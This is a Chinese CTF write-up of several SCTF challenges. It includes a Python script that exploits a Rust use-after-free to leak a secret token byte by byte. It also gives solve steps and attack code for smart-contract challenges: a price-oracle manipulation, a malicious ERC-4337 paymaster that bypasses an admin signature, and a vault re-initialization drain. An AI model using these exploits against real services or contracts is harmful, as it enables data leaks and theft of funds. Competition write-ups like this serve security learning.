SCTF-(部分)"

admin 2026-10-23 22:11:59 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

SCTF-(部分)

赛查查

2026年7月1日 10:15
北京

在小说阅读器读本章

去阅读

以下文章来源于玄网安全
,作者玄网安全 oPis

玄网安全
.

ctf竞赛交流,网络大臭虫一个

SCTF(部分)

Summary(WEB)

Rust unsafe 导致的 Use-After-Free 漏洞。Gateway 的 /__route/audit 端点使用 transmute 将局部 buffer 的引用强行提升为 'static 生命周期,归还 buffer 后后台定时任务覆写内存池,攻击者通过慢速 HTTP 请求让悬垂指针读到内部 vault 接口的敏感数据,逐字节泄露 reconciliation_token 即 flag。

审计信息

审计结论
发现 1 个高危信息泄露漏洞,可通过公网 POST /__route/audit 泄露 vault 内部接口返回的 TREASURY_RECONCILIATION_TOKEN。
高危:/__route/audit 可泄露内部 snapshot/token
位置:
gateway.rs (line 126)
selector.rs (line 67)
gateway.toml (line 6)
misc.rs (line 24)

漏洞分析

1. 架构

  • Gateway (0.0.0.0:8080,Docker 映射 5000):公网可达,路由 /api → 反代到 vault,/__route/audit → 路由审计
  • Vault (127.0.0.1:3005):内部服务,/internal/compliance/export-snapshot 返回包含 reconciliation_token 的 JSON

2. 漏洞点

selector.rs:67-87 — defer_trace()

pub fn defer_trace(&self, raw_header: &[u8]) -> DeferredTrace {
    let tenant_key = tenant_key(raw_header);
    letmut scratch = self.checkout(&tenant_key);       // 从池中取 512 字节 buffer
    let raw_len = raw_header.len().min(SCRATCH_CAP);
    scratch[..raw_len].copy_from_slice(&raw_header[..raw_len]);

    let (tenant, path, nonce) = {
        let raw = &scratch[..raw_len];
        let parsed = unsafe { parse_route_selector(raw, SCRATCH_CAP) };
        let nonce = unsafe {
            std::mem::transmute::<&[u8], &'static [u8]>(parsed.nonce)  // [1] UAF!
        };
        (parsed.tenant.to_string(), parsed.path.to_string(), nonce)
    };

    self.checkin(tenant_key, scratch);  // [2] buffer 归还池中,nonce 变成悬垂指针
    DeferredTrace { tenant, path, nonce }
}

selector.rs:89-98 — store_snapshot()

fn store_snapshot(&self, body: &[u8]) {
    let snapshot = body[..body.len().min(SCRATCH_CAP)].to_vec();
    let mut pools = self.pools.lock().expect(\"selector pool lock poisoned\");
    for pool in pools.values_mut() {
        for scratch in pool.iter_mut() {
            scratch.fill(0);
            scratch[..snapshot.len()].copy_from_slice(&snapshot);  // [3] 覆写所有池中 buffer!
        }
    }
}

selector.rs:48-57 — 后台定时任务

tokio::spawn(async move {
    loop {
        if let Ok(body) = fetch_http_body(&url).await {  // 拉取内部 snapshot
            engine.store_snapshot(&body);                  // 覆写所有 scratch
        }
        sleep(refresh_interval).await;                     // 每 1 秒一次
    }
});

gateway.rs:126-148 — route_audit()

async fn route_audit(&self, request: Request<Incoming>) -> ... {
    let trace = self.selector.defer_trace(selector.as_bytes());  // nonce 已悬垂
    request.into_body().collect().await?;  // [4] 等待 body 读完 — 攻击窗口!
    let trace = trace.finish();            // [5] 读取悬垂 nonce → 泄露 snapshot 数据
    ...
}

3. 利用时序

时间线:
  T0: defer_trace() 执行,nonce → scratch[offset..offset+4]
      scratch 归还池中(nonce 悬垂)
  T1: route_audit 阻塞在 body.collect(),攻击者不发送 body
  T2: 后台任务拉取 snapshot,store_snapshot() 覆写所有池中 scratch
  T3: 攻击者发送剩余 body,collect() 返回
  T4: trace.finish() 读取 nonce → 读到的是 snapshot[offset..offset+4]

4. 控制偏移

parse_route_selector 按 tenant:path:nonce 格式解析 header:

let nonce_start = second.saturating_add(1);  // 第二个冒号后 1 字节
let nonce_len = scratch_cap.saturating_sub(nonce_start).min(4);  // 固定 4 字节

构造 selector t:AAA...A: 使第二个冒号位于 offset-1,则 nonce\_start = offset,读取 snapshot 的 4 字节窗口。遍历 offset 3, 7, 11, ... 511 即可还原完整 512 字节 snapshot。

import socket
import time
import json

HOST, PORT = '1.95.127.162', 5000

def leak(off, retries=3):
    for attempt in range(retries):
        try:
            # nonce_start = second_colon + 1 = off
            selector = 't:' + 'A' * (off - 3) + ':'

            s = socket.create_connection((HOST, PORT), timeout=10)
            req = (
                'POST /__route/audit HTTP/1.1\\r\
'
                f'Host: {HOST}:{PORT}\\r\
'
                f'x-route-selector: {selector}\\r\
'
                'Content-Length: 1\\r\
'
                'Connection: close\\r\
\\r\
'
            )
            s.sendall(req.encode())
            time.sleep(1.3)       # wait for background refresh (1s interval + margin)
            s.sendall(b'x')

            resp = b''
            while True:
                try:
                    chunk = s.recv(4096)
                    if not chunk:
                        break
                    resp += chunk
                except ConnectionResetError:
                    break
                except Exception:
                    break
            s.close()

            # Find JSON body after HTTP headers
            parts = resp.split(b'\\r\
\\r\
', 1)
            if len(parts) < 2:
                if attempt < retries - 1:
                    time.sleep(0.5)
                    continue
                return b'\\x00\\x00\\x00\\x00'
            body = parts[1]
            try:
                parsed = json.loads(body)
                return bytes.fromhex(parsed['nonce_preview_hex'])
            except Exception:
                if attempt < retries - 1:
                    time.sleep(0.5)
                    continue
                return b'\\x00\\x00\\x00\\x00'
        except Exception as e:
            if attempt < retries - 1:
                time.sleep(1)
                continue
            return b'\\x00\\x00\\x00\\x00'

print('[*] Leaking snapshot data...')
results = []
for i in range(3, 512, 4):
    data = leak(i)
    results.append(data)
    printable = ''.join(chr(b) if 32 <= b < 127 else'.'for b in data)
    print(f'  offset {i:3d}: {data.hex()}  {printable}', flush=True)

full = b''.join(results)
print('\
[+] Full leaked data:')
print(full.decode(errors='replace'))
print('\
[+] Hex dump of flag area:')
# Find SCTF pattern
idx = full.find(b'SCTF')
if idx >= 0:
    print(f'  Found SCTF at offset {idx}: {full[idx:idx+100]}')
else:
    # Search for \"reconciliation_token\"
    idx = full.find(b'reconciliation_token')
    if idx >= 0:
        print(f'  Found reconciliation_token at offset {idx}')
        print(f'  Context: {full[idx:idx+80]}')

Contract Analysis(MISC)

核心合约函数如下:

function claim(
    uint[2] calldata proofA,
    uint[2][2] calldata proofB,
    uint[2] calldata proofC,
    uint[5] calldata publicSignals,
    uint256 pageAPlaintext,
    uint8 pageBv,
    bytes32 pageBr,
    bytes32 pageBs,
    uint256 pageCLeft,
    uint256 pageCRight
) external

claim 的校验逻辑分为四部分:

  1. publicSignals 必须匹配链上 modulus / merkleRoot / recipientCommitment / externalNullifier
  2. Groth16Verifier.verifyProof(...) 必须通过
  3. nullifierHash 不能重复使用
  4. Page A、Page B、Page C 三个额外校验必须通过

电路 LastHonestWitness.circom 约束:

p * q === modulus
plaintext < modulus
Poseidon(1, plaintext) === recipientCommitment
identity = Poseidon(2, plaintext, p, q, externalNullifier)
nullifierHash = Poseidon(5, identity, externalNullifier)
leaf = Poseidon(3, identity, commitment)
沿 Merkle path 计算 root === merkleRoot

因此需要恢复:

  • RSA 模数的两个因子 p, q
  • ciphertext 对应的 plaintext
  • 正确的 Merkle root
  • 对应的 Merkle path

poseidon_helper.js 已经提供了 Merkle tree 构造规则,可以直接复用生成 circuit input。 题目提示:

The two guardians of the modulus were born almost at the same time.

实际链上 RSA 模数较小,可以直接分解:

N = 615429951214616213145619887722161253
p = 784493436055779473
q = 784493436055795861

由于 gcd(e, phi(N)) = 1,直接求私钥指数:

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)

得到:

plaintext = 474401937379412746004845

接着用 poseidon_helper.js 计算 commitment / nullifier / Merkle path:

node poseidon_helper.js \\
  784493436055779473 \\
  784493436055795861 \\
  474401937379412746004845 \\
  --input input.json

输出关键值:

activeIndex = 19
commitment = 9377985761090098792458769157668700179213141594497154267610801610404565099971
nullifierHash = 8001422557285569920145416452913385853486935919178479204688850774075157728239
merkleRoot = 7732477719083212578752387109071435927399654988182031884976220637137317857940

commitment 和链上常量一致,merkleRoot 和事件 root 一致,说明 witness 正确。 Page A 给出:

n = 760009694642386684565581461392043895505912502559714131532944907541093903
e = 3
delta = 1337
c1 = m^e mod n
c2 = (m + delta)^e mod n

这是 Franklin-Reiter related-message attack。令:

f(x) = x^3 - c1
g(x) = (x + delta)^3 - c2

在 Z_n[x] 上求 gcd(f, g),得到一次多项式 x - m。

求得:

pageAPlaintext = 25774616630246150697727911729
bytes = b\"SHC_FR_frag1\"

Page B 给出 secp256k1 公钥坐标和消息哈希,并提示:

x < 2^20

说明 ECDSA 私钥很小。对 secp256k1 做 baby-step giant-step 离散对数即可恢复私钥:

private scalar = 789123

用该私钥对合约中的 PAGE_B_MESSAGE_HASH 签名,得到:

pageBv = 28
pageBr = 0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402
pageBs = 0x432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a

链上 ecrecover 恢复地址:

0xB6746A0bfDC4aF89cE8cE8822c887A6bB79b88ec

与合约 PAGE_B_SIGNER 一致。 Page C 要求找到两个不同整数 a, b < 2^32,满足:

low40(keccak256(abi.encodePacked(PAGE_C_TAG, a)))
==
low40(keccak256(abi.encodePacked(PAGE_C_TAG, b)))

40-bit 截断哈希可以用生日攻击,期望约 2^20 次。注意 Solidity 的 abi.encodePacked(bytes32, uint256) 中,uint256 是 32 字节 big-endian。

搜索得到:

pageCLeft  = 1656330
pageCRight = 2582757
low40      = 0x6bdab550bd
claim(
    proofA,
    proofB,
    proofC,
    publicSignals,
    25774616630246150697727911729,
    28,
    0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402,
    0x432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a,
    1656330,
    2582757
)

交易成功:

tx = 0xda98c595b4c0eca2489881c145d2bd87c81fef6f2822b26a39d4ec95fff22c75
receipt status = 1
gas used = 322115
isSolved = True

平台返回:

Congratulations! Challenge solved!
FLAG: SCTF{SYC_!ntern_Ray}

kMage(PWN)

144PT
Pwn
你们是虚像吗?是吞噬期冀的黑洞吗?
flag:SCTF{g0o0o0o-f0r-@-puNch-k3rnEL-M4st3r}

Are you illusions? Are you black holes that devour hopes?
flag:SCTF{g0o0o0o-f0r-@-puNch-k3rnEL-M4st3r}

ChronoStasis(MISC)

Summary

题目是一个 Foundry/Anvil 区块链实例题。核心漏洞在于 Vault 的赎回流程跨越了两次价格观测:requestRedeem 和 claimRedeem 使用的 LP / Oracle 价格不一致,因此可以先抬高价格提交赎回请求,再压低价格领取,从 Vault 中取出过量 LP,使 isSolved() 变为 true。

Solution

1. 启动实例并保持菜单连接

远程入口是:

nc 1.95.63.227 7000

选择 [2] Launch new instance 后,服务会返回本次实例的 RPC URL、Setup contract、Player key。这些值每次启动都不同,必须自动解析。

一个细节是:Anvil RPC 的生命周期和当前 nc 菜单连接相关。如果脚本启动实例后立刻关闭 socket,RPC 端口会很快变成 Connection refused。因此 exploit 脚本需要保持这个菜单 socket 不关闭,直到链上利用完成,再在同一连接里选择 [3] Get flag。

2. 利用 Oracle / Vault 价格错配

实例中有三种 token、两个 AMM pair、一个 oracle 和一个 vault:

  • pairAB:Vault 持有的 LP 资产
  • pairBC:较薄的价格池,用于影响 B 的报价
  • oracle:更新 pair 价格
  • vault:支持 deposit -> requestRedeem -> claimRedeem

利用流程:

  1. approve 所有需要的 token / LP。
  2. 向 pairAB 添加少量 A/B 流动性,得到 LP。
  3. 将 LP 存入 Vault,得到 shares。
  4. 更新 oracle,建立基线价格。
  5. 用大量 C 换 B,拉高 B 相对 C 的价格,从而抬高 lpPriceUSD() / pricePerShare()。
  6. 在高价状态下调用 requestRedeem(shares, me, me)。
  7. 再用手中的 B 砸回 pairBC,压低 B 价格。
  8. 更新 oracle 后调用 claimRedeem(0)。
  9. Vault 按不一致的价格状态结算,资产被取走过多,isSolved() 变为 true。

实际运行中的关键状态:

after pump:
  lpPriceUSD = 20341399997000000000
  pps        = 20341399997000000000

after dump:
  lpPriceUSD = 67604157000000000
  pps        = 67604157000000000

after claim:
  solved = True

GateCrash(MISC)

Summary

GateCrash 是一个简化版 ERC-4337 账户抽象题。漏洞在于 EntryPoint 在 Paymaster 校验阶段暴露了特权函数,恶意 Paymaster 可以把 admin account 加入 preApprovedSenders,随后同一个 handleOps 批次中的 admin UserOperation 会跳过签名校验。

Solution

Step 1: 观察验证流程

EntryPoint.handleOps() 先遍历全部 UserOperation 做 _validatePrepayment(),再遍历全部 UserOperation 做 _executeUserOp()。

在 _validatePrepayment() 中,如果 paymasterAndData 非空,会调用:

_inPaymasterValidation = true;
IPaymaster(paymaster).validatePaymasterUserOp(op, opHash, 0);
_inPaymasterValidation = false;

而 EntryPoint.addToPreApproved() 只检查 _inPaymasterValidation:

function addToPreApproved(address sender) external override {
    require(_inPaymasterValidation, \"EP: only during paymaster validation\");
    preApprovedSenders[sender] = true;
}

因此任意被指定为 paymaster 的合约,都可以在校验回调里调用 addToPreApproved(adminAccount)。

Step 2: 绕过 admin 签名

BaseAccount.validateUserOp() 中存在一条特殊分支:

if (entryPoint.preApprovedSenders(address(this))) {
    require(userOp.nonce == nonce, \"BaseAccount: invalid nonce\");
    nonce++;
    return 0;
}

也就是说,只要 admin account 被加进 preApprovedSenders,admin 的 UserOperation 就不再需要 owner 签名。

利用方式是在同一个 handleOps([op1, op2]) 批次中提交两个操作:

  1. op1.sender = attackerAccount,带合法签名,并设置 paymasterAndData = maliciousPaymaster。
  2. 恶意 Paymaster 在 validatePaymasterUserOp() 中调用 EntryPoint.addToPreApproved(adminAccount)。
  3. op2.sender = adminAccount,签名为空,但由于 admin 已经 pre-approved,校验通过。
  4. op2.callData 调用 admin account 的 execute(player, adminBalance, \"\"),把 admin 账户余额转给 player。

admin 账户余额清空后,Setup.isSolved() 返回 true。

Step 3: Exploit

完整 exploit 脚本:

E:\\MCP\\solve_gatecrash.py

运行方式:

cd /mnt/e/MCP
export GATE_TOKEN=<team-token>
unset GATE_RPC GATE_SETUP GATE_PK RPC SETUP PK
python solve_gatecrash.py

脚本会自动:

  • 连接 nc 1.95.63.227 1337
  • 选择 [2] Launch new instance
  • 解析 RPC URL / Setup address / Player key
  • 部署恶意 Paymaster
  • 构造两个 UserOperation 并调用 EntryPoint.handleOps
  • 选择 [3] Get flag

核心逻辑如下:

def paymaster_creation_code(entry_point, admin_account):
    # runtime: entryPoint.addToPreApproved(adminAccount);
    # then return ABI-encoded (bytes context, uint256 validationData) = (\"\", 0)
    selector = keccak(text=\"addToPreApproved(address)\")[:4]
    runtime = bytearray()
    runtime += bytes.fromhex(\"7f\") + selector + b\"\\x00\" * 28
    runtime += bytes.fromhex(\"600052\")
    runtime += bytes.fromhex(\"7f\") + b\"\\x00\" * 12 + bytes.fromhex(admin_account[2:])
    runtime += bytes.fromhex(\"600452\")
    runtime += bytes.fromhex(\"60006000602460006000\")
    runtime += bytes.fromhex(\"73\") + bytes.fromhex(entry_point[2:])
    runtime += bytes.fromhex(\"5af150\")
    runtime += bytes.fromhex(\"60406000526000602052600060405260606000f3\")
    creation = (
        bytes.fromhex(\"60\") + bytes([len(runtime)]) +
        bytes.fromhex(\"600c60003960\") + bytes([len(runtime)]) +
        bytes.fromhex(\"6000f3\") + bytes(runtime)
    )
    return\"0x\" + creation.hex()

# op1: attacker account, valid signature, malicious paymaster
op1[\"sender\"] = attackerAccount
op1[\"paymasterAndData\"] = bytes.fromhex(paymaster[2:])
op1[\"signature\"] = sign_user_op(op1, player_private_key)

# op2: admin account, empty signature, execute admin balance transfer
admin_balance = w3.eth.get_balance(adminAccount)
op2[\"sender\"] = adminAccount
op2[\"callData\"] = admin.execute(player, admin_balance, b\"\")
op2[\"signature\"] = b\"\"

entryPoint.handleOps([op1, op2], player)

成功输出:

[*] preApproved(admin): True
[*] admin balance after: 0
[*] isSolved: True

Flag

SCTF{Krypt0n0r_0xccfa0_#3!(D1n0)@bc}

DeepSea Finance(MISC)

Summary

DeepSea Finance 是一个多资产借贷协议题,目标是让 Setup.isSolved() 返回 true:

function isSolved() external view returns (bool) {
    return wbtc.balanceOf(address(vaultProxy)) == 0;
}

核心漏洞在 DeepSeaVault.claimRewards() 的奖励 epoch 结算流程。调用 claimRewards(wbtc) 后,代理存储中的初始化保护槽会被清空,使得同一笔交易内可以再次调用 initialize(),把攻击合约加入 guardians。随后攻击合约以 guardian 身份调用 emergencyWithdraw(),直接把 vault 中的全部 WBTC 转走。

Solution

1. 观察初始化保护

Setup 部署 DeepSeaVault 实现合约后,用 RoutedProxy 通过 delegatecall(initData) 初始化 vault:

function initialize(
    address _oracle,
    address _rewardToken,
    address[] calldata _guardians
) external {
    require(governor == address(0), \"Already initialized\");
    governor    = msg.sender;
    priceOracle = IVaultOracle(_oracle);
    rewardToken = _rewardToken;
    ...
}

正常情况下,governor 已经是 Setup,所以不能二次初始化。

但是实际链上探测发现,在新实例中单独调用一次:

vault.claimRewards(wbtc);

之后代理存储出现如下变化:

slot0 before = 0
slot1 before = 0x...5FbDB2315678afecb367f032d93F642f64180aa3

slot0 after  = 1
slot1 after  = 0

其中 slot1 正是 governor 所在位置,原本保存 Setup 地址。它被清零后,initialize() 的 require(governor == address(0)) 又可以通过。

2. 构造攻击合约

攻击需要放在同一笔交易中完成,因为题目使用了 Cancun transient storage,状态变化和执行上下文强相关。攻击合约执行顺序如下:

  1. 从 Setup 读取 vaultProxy、wbtc、usdc、oracle。
  2. 调用 vault.claimRewards(wbtc),触发奖励结算副作用,清掉 governor。
  3. 调用 vault.initialize(oracle, usdc, [address(this)]),把攻击合约注册为 guardian。
  4. 读取 wbtc.balanceOf(vault)。
  5. 调用 vault.emergencyWithdraw(wbtc, msg.sender, balance),把全部 WBTC 转给玩家。

对应的 Solidity 逻辑可以写成:

interface ISetup {
    function vaultProxy() external view returns (address);
    function wbtc() external view returns (address);
    function usdc() external view returns (address);
    function oracle() external view returns (address);
}

interface IVault {
    function claimRewards(address token) external;
    function initialize(address oracle, address rewardToken, address[] calldata guardians) external;
    function emergencyWithdraw(address token, address to, uint256 amount) external;
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
}

contract Attack {
    function attack(address setupAddr) external {
        ISetup setup = ISetup(setupAddr);
        address vault = setup.vaultProxy();
        address wbtc = setup.wbtc();

        IVault(vault).claimRewards(wbtc);

        address[] memory guardians = new address[](1);
        guardians[0] = address(this);
        IVault(vault).initialize(setup.oracle(), setup.usdc(), guardians);

        uint256 amount = IERC20(wbtc).balanceOf(vault);
        IVault(vault).emergencyWithdraw(wbtc, msg.sender, amount);
    }
}

3. Exploit

完整脚本:

E:\\MCP\\solve_deepsea.py

运行方式:

cd /mnt/e/MCP
export DEEPSEA_TOKEN=<team-token>
unset DEEPSEA_RPC DEEPSEA_SETUP DEEPSEA_PK RPC SETUP PK
python solve_deepsea.py

脚本会自动完成:

  • 连接 nc 1.95.206.213 5000
  • 选择 [1] Launch new instance
  • 解析 RPC URL / Setup contract / Player key
  • 部署攻击合约 runtime
  • 调用 attack(setup)
  • 检查 Setup.isSolved()
  • 在同一菜单连接中选择 [2] Get flag

成功输出:

[*] deploy attacker: ... status=1 gas=322962
[*] attack: ... status=1 gas=175015
[*] final WBTC vault bal 0
[*] solved True

FLAG: SCTF{d33p_s34_f1n4nc3_!$_dr41n3d_2026@#^&*}

Flag

SCTF{d33p_s34_f1n4nc3_!$_dr41n3d_2026@#^&*}

Cipher\_Chain(crypto)

Summary

题目分为两段。Task1 是有限域上的小重量三值向量恢复,可以用 meet-in-the-middle 枚举;恢复出的 seed 再作为 Task2 的输入,经过 SHA256 burn 后参与 X25519,最后用派生出的流密钥解密 payload。

Solution

Step 1: 恢复 Task1 的三值向量

task1.txt 给出了 30 维向量 h 的约束:

  • h_i in {-1, 0, 1}
  • sum h_i^2 = 10,所以非零项恰好 10 个
  • h * G = 0 mod 65537

直接枚举是 C(30,10) * 2^10,但可以把 30 维拆成前 15 维和后 15 维。分别枚举左右半边的带符号小重量和,查找两边向量和互为相反数的组合即可。

找到:

h = [0, 1, 0, 0, -1, 1, 0, 0, 0, 1, 0, 0, 0, -1, 0,
     0, 0, 1, 0, 0, -1, 0, -1, 0, 0, 0, 1, 0, -1, 0]

按题面给出的 KDF 计算 stream 后异或密文,得到 Task2 seed:

seed_hex   = 6147466a794858316157646164616465
seed_ascii = aGFjyHX1aWdadade

Step 2: 判断 Task2 的 burn 位置

task2.trace 给了关键信息:

secret_stage = compress(seed)
burn_counter = 0xc350
exchange = montgomery25519
payload_mode = stream-mask

这里 compress(seed) 对应 SHA256(seed)。需要判断 burn_counter 在曲线交换前还是后。尝试后发现正确链路为:

priv0   = SHA256(seed)
priv    = SHA256 迭代 0xc350 次
shared  = X25519(priv, task2.pub)
session = SHA256(shared)

其中:

session[:8] = 621e27e55f647db4

正好匹配 task2.log 的 session_prefix,所以 burn 发生在 X25519 交换之前。

payload 使用 stream-mask,实际密钥为:

payload_key = SHA256(session)
plaintext   = task2.enc XOR payload_key

Complete Solve Script

运行方式:

python solve.py /path/to/attachment

脚本假设目录下存在 task1.txt 和 task2/task2.{pub,enc,log,trace}。

import ast
import hashlib
import itertools
import re
import struct
import sys
from pathlib import Path

from cryptography.hazmat.primitives.asymmetric import x25519

P = 65537
BASE = Path(sys.argv[1]) if len(sys.argv) > 1else Path(\".\")

def parse_task1(path: Path):
    text = path.read_text(encoding=\"utf-8\")
    G = ast.literal_eval(
        re.search(r\"G\\s*=\\s*(\\[.*?\\])\\s*\
\\s*ciphertext_hex\", text, re.S).group(1)
    )
    ct = bytes.fromhex(re.search(r\"ciphertext_hex\\s*=\\s*([0-9a-f]+)\", text).group(1))
    return G, ct

def enum_weight(rows, w):
    n = len(rows)
    if w == 0:
        yield (0,) * 14, [0] * n
        return

    for comb in itertools.combinations(range(n), w):
        for bits in range(1 << w):
            h = [0] * n
            v = [0] * 14
            for j, idx in enumerate(comb):
                sign = 1if ((bits >> j) & 1) else-1
                h[idx] = sign
                row = rows[idx]
                for k in range(14):
                    v[k] = (v[k] + sign * row[k]) % P
            yield tuple(v), h

def recover_h(G):
    left, right = G[:15], G[15:]
    # Most likely split first; still covers all possible weights.
    order = [(5, 5), (4, 6), (6, 4), (3, 7), (7, 3),
             (2, 8), (8, 2), (1, 9), (9, 1), (0, 10), (10, 0)]

    for wl, wr in order:
        table = {}
        for s, h in enum_weight(left, wl):
            table[s] = h

        for s, h2 in enum_weight(right, wr):
            need = tuple((-x) % P for x in s)
            if need in table:
                return table[need] + h2

    raise RuntimeError(\"h not found\")

def task1_seed(h, ct):
    material = (
        b\"Curve_Link_Task1_Hard|P=65537|w=10|h=\"
        + b\",\".join(str(x).encode() for x in h)
    )
    stream = b\"\"
    for counter in range((len(ct) + 31) // 32):
        stream += hashlib.sha256(material + struct.pack(\">I\", counter)).digest()
    return bytes(a ^ b for a, b in zip(ct, stream))

def task2_decrypt(seed, task2_dir: Path):
    pub = (task2_dir / \"task2.pub\").read_bytes()
    enc = (task2_dir / \"task2.enc\").read_bytes()

    priv = hashlib.sha256(seed).digest()
    for _ in range(0xC350):
        priv = hashlib.sha256(priv).digest()

    private_key = x25519.X25519PrivateKey.from_private_bytes(priv)
    public_key = x25519.X25519PublicKey.from_public_bytes(pub)
    shared = private_key.exchange(public_key)

    session = hashlib.sha256(shared).digest()
    payload_key = hashlib.sha256(session).digest()
    plaintext = bytes(a ^ b for a, b in zip(enc, payload_key))

    return session[:8], plaintext

def main():
    G, ct = parse_task1(BASE / \"task1.txt\")
    h = recover_h(G)
    seed = task1_seed(h, ct)
    prefix, flag = task2_decrypt(seed, BASE / \"task2\")

    print(\"h =\", h)
    print(\"seed_hex =\", seed.hex())
    print(\"seed_ascii =\", seed.decode(errors=\"replace\"))
    print(\"session_prefix =\", prefix.hex())
    print(\"flag =\", flag.decode())

if __name__ == \"__main__\":
    main()

输出:

h = [0, 1, 0, 0, -1, 1, 0, 0, 0, 1, 0, 0, 0, -1, 0, 0, 0, 1, 0, 0, -1, 0, -1, 0, 0, 0, 1, 0, -1, 0]
seed_hex = 6147466a794858316157646164616465
seed_ascii = aGFjyHX1aWdadade
session_prefix = 621e27e55f647db4
flag = SCTF{curve25519_bsuiahduie_cif_diqw}

Flag

SCTF{curve25519_bsuiahduie_cif_diqw}


SCTF-(部分)" 网络安全文章

SCTF-(部分)"

文档描述了SCTF竞赛中一个Web漏洞和一个MISC合约分析。Web漏洞是Rustunsafe代码导致的Use-After-Free,通过Gateway的/\\_\\_route/audit端点利用悬垂指针泄露内部vault接口的reconciliation\\_token(即flag)。攻击者通过慢速HTTP请求控制偏移,逐字节泄露512字节snapshot数据。MISC部分涉及一个包含Groth16证明验证和额外校验的claim函数。
强化印太态势感知:美国网络司令部持续推进“数据和传感器”项目建设" 网络安全文章

强化印太态势感知:美国网络司令部持续推进“数据和传感器”项目建设"

美国网络司令部通过数据和传感器项目为印太司令部开发整合监控传感与数据分析能力以增强态势感知和决策优势。项目2025至2031财年总预算约7.01亿美元重点包括提升NC3试点感知能力扩展太平洋威慑计划传感器部署并完善数据分析支持中心。项目已取得持续安装运营技术资产部署先进传感器等成就。
评论:0   参与:  0